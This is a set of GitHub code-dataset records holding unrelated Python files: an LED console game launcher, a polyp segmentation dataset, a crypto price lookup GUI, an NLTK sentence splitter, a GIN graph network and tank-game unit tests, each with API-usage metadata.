{"seq_id": "16412560675", "text": "import sys, os, stat, glob, importlib.util, importlib, subprocess\n\nthis_path = os.path.dirname(os.path.abspath(__file__))\n\nsys.path.append(os.path.join(this_path, \"..\", \"infra\"))\nimport infra\n\ndef import_file(filepath):\n    name = os.path.splitext(os.path.split(filepath)[1])[0]\n    spec = importlib.util.spec_from_file_location(name, filepath)\n    mod = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(mod)\n    return mod\n\nclass App:\n    def __init__(self, icon_file):\n        self.main_func = None\n        if os.path.exists(icon_file):\n            self.icon = infra.Sprite(icon_file)\n        else:\n            self.icon = None\n\n    def start(self):\n        if self.main_func is None:\n            self.main_func = self.get_main()\n        self.main_func(sys.argv)\n\nclass PyApp(App):\n    def __init__(self, main_mod_file, icon_file):\n        super().__init__(icon_file)\n        self.main_mod_file = main_mod_file\n\n    def get_main(self):\n        mod = import_file(self.main_mod_file)\n        return mod.main\n\nPICO8_ICON_PATH = os.path.join(this_path, \"..\", \"pico8\", \"icon.png\")\n\nif sys.platform == \"linux\":\n    PICO8_EXE = os.path.join(this_path, \"../pico8/pico-8/pico8_dyn\")\nelse:\n    PICO8_EXE = os.path.join(this_path, r\"..\\pico8\\pico-8\\pico-8_0.2.3_windows\\pico-8\\pico8.exe\")\n\ndef start_pico8(args):\n    os.environ[\"LD_PRELOAD\"] = \"/home/pi/led_console/sdl_disp_inject/sdl_disp_inject.so\"\n    cmd = [PICO8_EXE] + args\n    print(' '.join(cmd))\n    subprocess.call(cmd)\n\n\nclass Pico8App(App):\n    def __init__(self, cart_file, icon_file):\n        super().__init__(icon_file)\n        self.cart_file = cart_file\n\n    def start(self):\n        start_pico8(['-run', self.cart_file])\n\nclass Pico8SploreApp(App):\n    def __init__(self):\n        super().__init__(PICO8_ICON_PATH)\n\n    def start(self):\n        start_pico8(['-splore'])\n\n\nBUTTONS_IN_LINE = 4\nBTN_X_PITCH = 32\nBTN_Y_PITCH = 33\nBTN_WIDTH = 29\nBTN_HEIGHT = 30\n\nBTN_COLOR = 0x888888\nBTN_SEL_COLOR = 0xdddddd\n\nclass State(infra.BaseHandler):\n    def __init__(self, inf, disp):\n        self.enable_players_menu = False\n        self.disp = disp\n        self.joys = inf.get_joystick_state()\n        self.inf = inf\n\n        self.apps = []\n        games = os.path.join(this_path, \"..\", \"games\")\n        for path in glob.glob(os.path.join(games, \"*\")):\n            if stat.S_ISDIR(os.stat(path).st_mode):\n                mainpy = os.path.join(path, \"main.py\")\n                if os.path.exists(mainpy):\n                    self.apps.append(PyApp(mainpy, os.path.join(path, \"icon.png\")))\n\n        self.apps.append(Pico8SploreApp())\n        picos = os.path.join(this_path, \"..\", \"pico8\", \"games\")\n        for modfile in glob.glob(os.path.join(picos, \"*.py\")):\n            mod = import_file(modfile)\n            self.apps.append(Pico8App(os.path.join(picos, mod.CART), os.path.join(picos, mod.ICON)))\n\n\n        cur = []\n        self.grid = [cur]  # list of lists\n        for app in self.apps:\n            cur.append(app)\n            if len(cur) == 4:\n                cur = []\n                self.grid.append(cur)\n\n        self.selected_coord = infra.Vec2i(0, 0)\n        self.rep_filter_p1 = infra.JoyRepeatFilter()\n        self.rep_filter_p2 = infra.JoyRepeatFilter()\n\n    def draw(self):\n        self.disp.pixels.fill(0)\n        for y, line in enumerate(self.grid):\n            for x, item in enumerate(line):\n                rx = x * BTN_X_PITCH\n                ry = y * BTN_Y_PITCH\n                is_selected = self.selected_coord.x == x and self.selected_coord.y == y\n                self.inf.draw.round_rect(rx + 1, ry + 1, BTN_WIDTH, BTN_HEIGHT, BTN_SEL_COLOR if is_selected else BTN_COLOR)\n                if item.icon is not None:\n                    item.icon.blit_to(self.disp.pixels, rx + 3, ry + 3)\n\n                if is_selected:\n                    self.inf.draw.round_rect(rx, ry, BTN_WIDTH + 2, BTN_HEIGHT + 2, BTN_SEL_COLOR, True)\n        self.disp.refresh()\n\n    def process_joy(self, joy, rep_filter):\n        if not rep_filter.check(joy):\n            return\n        started = self.selected_coord.copy()\n        sel_line_len = len(self.grid[self.selected_coord.y])\n        if joy.x > 0:\n            self.selected_coord.x = (self.selected_coord.x + 1) % sel_line_len\n        elif joy.x < 0:\n            self.selected_coord.x = (self.selected_coord.x - 1 + sel_line_len) % sel_line_len\n        if joy.y != 0:\n            if joy.y > 0 and self.selected_coord.y + 1 < len(self.grid):\n                self.selected_coord.y += 1\n            if joy.y < 0 and self.selected_coord.y > 0:\n                self.selected_coord.y -= 1\n            # adjust x if we reached a partial line\n            sel_line_len = len(self.grid[self.selected_coord.y])\n            if self.selected_coord.x >= sel_line_len:\n                self.selected_coord.x = sel_line_len - 1\n        return self.selected_coord.equals(started)\n\n\n    def on_joy_event(self, eventObj):\n        if eventObj.event == infra.JOY_BTN_A:\n            app = self.grid[self.selected_coord.y][self.selected_coord.x]\n            app.start()\n\n    def step(self):\n        if not self.process_joy(self.joys.p1, self.rep_filter_p1):\n            self.process_joy(self.joys.p2, self.rep_filter_p2)\n\n\n\n\n\ndef main(args):\n    inf = infra.infra_init(args)\n    disp = inf.get_display()\n\n    state = State(inf, disp)\n\n    while True:\n        if not inf.handle_events(state):\n            break\n        state.step()\n        state.draw()\n\n\n\nif __name__ == \"__main__\":\n    sys.exit(main(sys.argv))\n", "repo_name": "shooshx/led_console", "sub_path": "launcher/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5510, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 9, "usage_type": "call"}, {"api_name": "importlib.util.spec_from_file_location", "line_number": 10, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 10, "usage_type": "attribute"}, {"api_name": "importlib.util.module_from_spec", "line_number": 11, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "infra.Sprite", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 45, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 48, "usage_type": "call"}, {"api_name": "infra.BaseHandler", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "stat.S_ISDIR", "line_number": 86, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "infra.Vec2i", "line_number": 106, "usage_type": "call"}, {"api_name": "infra.JoyRepeatFilter", "line_number": 107, "usage_type": "call"}, {"api_name": "infra.JoyRepeatFilter", "line_number": 108, "usage_type": "call"}, {"api_name": "infra.JOY_BTN_A", "line_number": 147, "usage_type": "attribute"}, {"api_name": "infra.infra_init", "line_number": 160, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 174, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 174, "usage_type": "attribute"}]}
{"seq_id": "29971594539", "text": "import numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport pandas as pd\nimport os\nimport glob as glob\nimport skimage.io as io\nfrom  skimage.transform import resize\n# import albumentations as A\n# from albumentations.pytorch import ToTensorV2\n\n\nfrom src.config import CLASSES, RESIZE_TO, TRAIN_DIR, VALID_DIR, TEST_DIR, BATCH_SIZE\nfrom src.utils import collate_fn, get_transform\n\nclass MaskedPolypDataset(Dataset):\n    def __init__(self, root, width, height, transforms=None):\n        self.transforms = transforms\n        self.root = root\n        self.dir_images = os.path.join(self.root, \"Original\")\n        self.dir_masks = os.path.join(self.root, \"GroundTruth\")\n        self.width = width\n        self.height = height\n\n\n        self.all_images = list(sorted(glob.glob(os.path.join(self.dir_images, \"*.tif\"))))\n        self.all_masks = list(sorted(glob.glob(os.path.join(self.dir_masks, \"*.tif\"))))\n    \n    def __getitem__(self, index):\n        # Get image name and path\n        img_path = self.all_images[index]\n        mask_path = self.all_masks[index]\n        img = io.imread(img_path)\n        img = resize(img, (self.height, self.width))\n        img = img.astype(np.float32) / 255.0\n\n        mask_img = io.imread(mask_path)\n        mask_img = resize(mask_img, (self.height, self.width))\n        mask_img[mask_img < 1.] = 0.\n        mask = mask_img.astype(np.uint8)\n        \n        \n        # Get the boumding box coordinates for each mask\n        num_objs = len(np.unique(mask))\n        boxes = []\n        for i in range(1, num_objs):\n            pos = np.where(mask == i)\n            xmin = np.min(pos[1])\n            xmax = np.max(pos[1])\n            ymin = np.min(pos[0])\n            ymax = np.max(pos[0])\n            box = (xmin, ymin, xmax, ymax)\n            boxes.append(box)\n        boxes = np.asarray(boxes, dtype=np.float32)\n        # print(f'boxes shape: {boxes.shape}')\n        # print(f'boxes shape: {boxes.shape}')\n\n        labels = torch.ones((1,), dtype=torch.int64)\n        image_id = torch.tensor([index])\n        iscrowd = torch.zeros((1,), dtype=torch.int64)\n        \n        if self.transforms is not None:\n            transformed = self.transforms(\n                image=img, \n                bboxes=boxes,\n                masks=[mask],\n                labels=[labels]\n            )\n\n        target = {}\n        target[\"boxes\"] = transformed[\"bboxes\"]\n        target[\"labels\"] = transformed[\"labels\"]\n        target[\"masks\"] = transformed[\"masks\"]\n        target[\"image_id\"] = image_id\n        # target[\"area\"] = area\n        target[\"iscrowd\"] = iscrowd\n\n\n        # img = np.transpose(img, (2, 0, 1))\n        img = transformed[\"image\"]\n        \n        return img, target\n    \n    def __len__(self):\n        return len(self.all_images)\n\n\n    # def get_transform(self, train=True):\n    #     bbox_p = A.BboxParams(\n    #     format='pascal_voc',\n    #     min_visibility=0.1,\n    #     min_area=128, \n    #     label_fields=['labels'])\n    \n    #     if train:\n    #         return A.Compose(\n    #                 [\n    #                     # TODO: Add more transformations and see what works best.\n    #                     A.Flip(0.5),\n    #                     A.RandomRotate90(0.5),\n    #                     A.MotionBlur(p=0.5),\n    #                     A.MedianBlur(blur_limit=3, p=0.1),\n    #                     A.Blur(blur_limit=3, p=0.1),\n    #                     ToTensorV2(p=1.0),\n    #                 ], \n    #                 bbox_params=bbox_p,\n    #             )\n\n    #     else: \n    #         return A.Compose([\n    #             ToTensorV2(p=1.0),\n    #         ], bbox_params=bbox_p)", "repo_name": "spinonoir/hlc-polyp-detection", "sub_path": "data_utils/old/MaskedPolypDataset.py", "file_name": "MaskedPolypDataset.py", "file_ext": "py", "file_size_in_byte": 3664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 33, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 33, "usage_type": "name"}, {"api_name": "skimage.transform.resize", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 35, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 37, "usage_type": "name"}, {"api_name": "skimage.transform.resize", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 60, "usage_type": "attribute"}]}
{"seq_id": "40336395966", "text": "from tkinter import * # библиотека\nimport requests # библиотека\ndef get_crypt(): # функция\n    \"\"\"ДАННАЯ ФУНКЦИЯ ВЫПОЛНЯЕТ ПАРСИНГ КРИПТОВАЛЮТЫ С САЙТА COINMARKETCAP\"\"\"\n    global info # переменная\n    global metka # переменная\n    metka.destroy() # удаляет метку при повторном получаении информации о криптовалюте\n    lst=[] # Объявляет список\n    request=requests.get(url='https://api.coinmarketcap.com/data-api/v3/cryptocurrency/listing?start=1&limit=10000').json() # API coinmarketcap в формате json\n    for crypto in request['data']['cryptoCurrencyList']:\n        if crypto.get('name').lower() == info.get().lower(): # сравнение поля ввода и названия криптовалюты\n            info_name=crypto['name'] # название криптовалюты\n            info_price=crypto['quotes'][0]['price'] # цена криптовалюты\n            lst.append(info_name) # Добавляю в список название криптовалюты\n            lst.append(info_price) # Добавляю в список цену криптовалюты\n            metka=Label(root, text=f'Название: {lst[0]}\\n' \\\n                                   f'Цена: {lst[1]:.3f}$', bg='#FFFFFF', fg='#060606', font=('Times New Romans', 14, 'bold')) # Метка с названием и ценой введеной пользователем криптовалюты\n            metka.place(x=170,y=15)\n\n\n\"\"\" Эти строки предназначены для создания окна приложения и его компонентов\"\"\"\nroot=Tk()\nroot.resizable(height=False,width=False)\nroot.geometry('500x500')\nroot.title('Парсер')\nroot.iconphoto(True, PhotoImage(file=('icon.png')))\nroot['bg']='#686868'\nmetka=Label(root)\ninfo=StringVar()\nvvod=Entry(root, font=('Times New Roman', 16, 'bold'), textvariable=info,justify='center', bg='#0004FF', fg='#FFFFFF')\nvvod.place(x=145,y=250)\nknpars=Button(root,text='Получить информацию', fg='#FFFFFF', bg='#FF0000', font=('Calibri', 12, 'bold'), command=get_crypt)\nknpars.place(x=167,y=350)\nroot.mainloop()", "repo_name": "Pashitza/Fill", "sub_path": "Pars.py", "file_name": "Pars.py", "file_ext": "py", "file_size_in_byte": 2299, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "7476517871", "text": "import sys\nimport nltk.data\nfrom nltk.tokenize import sent_tokenize\n\ntokenizer = nltk.data.load('tokenizers/punkt/japanese.pickle')\nSAMPLE_SIZE = 1024\n\nsample = sys.stdin.read(SAMPLE_SIZE)\nwhile sample:\n\n    tokenized_sents = tokenizer.tokenize(sample)\n\n    for sentence in tokenized_sents:\n        sys.stdout.write(sentence + '\\n')\n\n    sample = sys.stdin.read(SAMPLE_SIZE)\n", "repo_name": "samagino/SP19-LING-L445", "sub_path": "01_Tokenisation/punkt_segmenter.py", "file_name": "punkt_segmenter.py", "file_ext": "py", "file_size_in_byte": 375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.data.data.load", "line_number": 5, "usage_type": "call"}, {"api_name": "nltk.data.data", "line_number": 5, "usage_type": "attribute"}, {"api_name": "nltk.data", "line_number": 5, "usage_type": "name"}, {"api_name": "sys.stdin.read", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.stdin.read", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 16, "usage_type": "attribute"}]}
{"seq_id": "11209920535", "text": "import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.nn import BatchNorm1d\nfrom torch.nn import Sequential, Linear, ReLU\nfrom torch_geometric.nn import GINConv, global_add_pool, global_mean_pool\n\n\nclass GIN(torch.nn.Module):\n\n    def __init__(self, dim_features, dim_target, model_configs, dataset_configs):\n        super(GIN, self).__init__()\n\n        self.dropout = model_configs['dropout']\n        self.embeddings_dim = [model_configs['hidden_units'][0]] + model_configs['hidden_units']\n        self.no_layers = len(self.embeddings_dim)\n        self.first_h = []\n        self.nns = []\n        self.convs = []\n        self.linears = []\n\n        train_eps = model_configs['train_eps']\n        if model_configs['aggregation'] == 'sum':\n            self.pooling = global_add_pool\n        elif model_configs['aggregation'] == 'mean':\n            self.pooling = global_mean_pool\n\n        for layer, out_emb_dim in enumerate(self.embeddings_dim):\n\n            if layer == 0:\n                self.first_h = Sequential(Linear(dim_features, out_emb_dim), BatchNorm1d(out_emb_dim), ReLU(),\n                                    Linear(out_emb_dim, out_emb_dim), BatchNorm1d(out_emb_dim), ReLU())\n                self.linears.append(Linear(out_emb_dim, dim_target))\n            else:\n                input_emb_dim = self.embeddings_dim[layer-1]\n                self.nns.append(Sequential(Linear(input_emb_dim, out_emb_dim), BatchNorm1d(out_emb_dim), ReLU(),\n                                      Linear(out_emb_dim, out_emb_dim), BatchNorm1d(out_emb_dim), ReLU()))\n                self.convs.append(GINConv(self.nns[-1], train_eps=train_eps))  # Eq. 4.2\n\n                self.linears.append(Linear(out_emb_dim, dim_target))\n\n        self.nns = torch.nn.ModuleList(self.nns)\n        self.convs = torch.nn.ModuleList(self.convs)\n        self.linears = torch.nn.ModuleList(self.linears)  # has got one more for initial input\n\n        self.task_type = dataset_configs[\"task_type\"]\n        self.multiclass_num_classes = dataset_configs[\"multiclass_num_classes\"] if self.task_type == 'Multi-Classification' else None\n\n        self.classification = self.task_type == 'Classification'\n        if self.classification:\n            self.sigmoid = nn.Sigmoid()\n        self.multiclass = self.task_type == 'Multiclass-Classification'\n        if self.multiclass:\n            self.multiclass_softmax = nn.Softmax(dim=2)\n        self.regression = self.task_type == 'Regression'\n        if self.regression:\n            self.relu = nn.ReLU()\n        assert not (self.classification and self.regression and self.multiclass)\n\n\n    def forward(self, data):\n        x, edge_index, batch = data.x, data.edge_index, data.batch\n\n        out = 0\n\n        for layer in range(self.no_layers):\n            if layer == 0:\n                x = self.first_h(x)\n                out += F.dropout(self.pooling(self.linears[layer](x), batch), p=self.dropout)\n            elif layer == self.no_layers - 1:\n                x = self.convs[layer-1](x, edge_index)\n                out = x\n            else:\n                # Layer l (\"convolution\" layer)\n                x = self.convs[layer-1](x, edge_index)\n                out += F.dropout(self.linears[layer](self.pooling(x, batch)), p=self.dropout, training=self.training)\n        return out\n\n    def forward(self, data):\n        x, edge_index, batch = data.x, data.edge_index, data.batch\n\n        out = 0\n\n        for layer in range(self.no_layers):\n            if layer == 0:\n                x = self.first_h(x)\n                out += F.dropout(self.pooling(self.linears[layer](x), batch), p=self.dropout)\n            else:\n                # Layer l (\"convolution\" layer)\n                x = self.convs[layer-1](x, edge_index)\n                out += F.dropout(self.linears[layer](self.pooling(x, batch)), p=self.dropout, training=self.training)\n\n        # Don't apply sigmoid during training b/c using BCEWithLogitsLoss\n        if self.classification and not self.training:\n            x = self.sigmoid(out)\n        if self.multiclass:\n            x = x.reshape((x.size(0), -1, self.multiclass_num_classes)) # batch size x num targets x num classes per target\n            if not self.training:\n                x = self.multiclass_softmax(x) # to get probabilities during evaluation, but not during training as we're using CrossEntropyLoss\n\n        return out", "repo_name": "CAVED123/MolRep111", "sub_path": "MolRep/Models/graph_based/GIN.py", "file_name": "GIN.py", "file_ext": "py", "file_size_in_byte": 4386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch_geometric.nn.global_add_pool", "line_number": 24, "usage_type": "name"}, {"api_name": "torch_geometric.nn.global_mean_pool", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 37, "usage_type": "call"}, {"api_name": "torch_geometric.nn.GINConv", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.functional.dropout", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.functional.dropout", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.functional.dropout", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.functional.dropout", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 91, "usage_type": "name"}]}
{"seq_id": "10762409448", "text": "from unittest.mock import MagicMock, patch\n\nimport pytest\n\nfrom app.domain.entities import Tank\nfrom app.domain.enums import Direction\nfrom app.domain.utils import Size, Vector\n\n\nclass _ModulePatch:\n    _PATH = \"app.domain.entities.tank\"\n    BULLET_FACTORY = f\"{_PATH}.BulletFactory\"\n\n\nclass TestsTank:\n    @patch(_ModulePatch.BULLET_FACTORY, new_callable=MagicMock)\n    def test__post_init(self, factory):\n        tank_obj = MagicMock()\n\n        Tank.__post_init__(tank_obj)\n\n        factory.assert_called_once_with(tank_obj._bullet_schema)\n        tank_obj._bullet_factory = factory.return_value\n\n    def test__get_bullet(self):\n        bullet_schema = MagicMock()\n        tank_obj = MagicMock(_bullet_schema=bullet_schema)\n\n        bullet = Tank.get_bullet(tank_obj)\n\n        tank_obj._get_bullet_position.assert_called_once_with(bullet_schema.size)\n        tank_obj._bullet_factory.create.assert_called_once_with(\n            position=tank_obj._get_bullet_position.return_value,\n            direction=tank_obj.direction,\n        )\n        assert bullet == tank_obj._bullet_factory.create.return_value\n\n    @pytest.mark.parametrize(\n        \"tank_location,tank_size,bullet_size,direction,expected\",\n        [\n            (Vector(0, 0), Size(10, 10), Size(2, 2), Direction.DOWN, Vector(4, -3)),\n            (Vector(10, 20), Size(10, 10), Size(2, 2), Direction.UP, Vector(14, 31)),\n            (Vector(20, 10), Size(10, 10), Size(2, 2), Direction.LEFT, Vector(17, 14)),\n            (Vector(40, 50), Size(10, 10), Size(2, 2), Direction.RIGHT, Vector(51, 54)),\n        ],\n    )\n    def test__get_bullet_location(\n        self, tank_location, tank_size, bullet_size, direction, expected\n    ):\n        tank_obj = MagicMock(\n            direction=direction, position=tank_location, size=tank_size\n        )\n\n        actual = Tank._get_bullet_position(tank_obj, bullet_size)\n\n        assert actual == expected\n", "repo_name": "aleshabrave/battle_city", "sub_path": "tests/domain/entities/test_tank.py", "file_name": "test_tank.py", "file_ext": "py", "file_size_in_byte": 1906, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.mock.MagicMock", "line_number": 18, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank.__post_init__", "line_number": 20, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank", "line_number": 20, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 16, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 16, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 26, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 27, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank.get_bullet", "line_number": 29, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank", "line_number": 29, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 50, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank._get_bullet_position", "line_number": 54, "usage_type": "call"}, {"api_name": "app.domain.entities.Tank", "line_number": 54, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.domain.utils.Vector", "line_number": 41, "usage_type": "call"}, {"api_name": "app.domain.utils.Size", "line_number": 41, "usage_type": "call"}, {"api_name": "app.domain.enums.Direction.DOWN", "line_number": 41, "usage_type": "attribute"}, {"api_name": "app.domain.enums.Direction", "line_number": 41, "usage_type": "name"}, {"api_name": "app.domain.utils.Vector", "line_number": 42, "usage_type": "call"}, {"api_name": "app.domain.utils.Size", "line_number": 42, "usage_type": "call"}, {"api_name": "app.domain.enums.Direction.UP", "line_number": 42, "usage_type": "attribute"}, {"api_name": "app.domain.enums.Direction", "line_number": 42, "usage_type": "name"}, {"api_name": "app.domain.utils.Vector", "line_number": 43, "usage_type": "call"}, {"api_name": "app.domain.utils.Size", "line_number": 43, "usage_type": "call"}, {"api_name": "app.domain.enums.Direction.LEFT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.domain.enums.Direction", "line_number": 43, "usage_type": "name"}, {"api_name": "app.domain.utils.Vector", "line_number": 44, "usage_type": "call"}, {"api_name": "app.domain.utils.Size", "line_number": 44, "usage_type": "call"}, {"api_name": "app.domain.enums.Direction.RIGHT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "app.domain.enums.Direction", "line_number": 44, "usage_type": "name"}]}
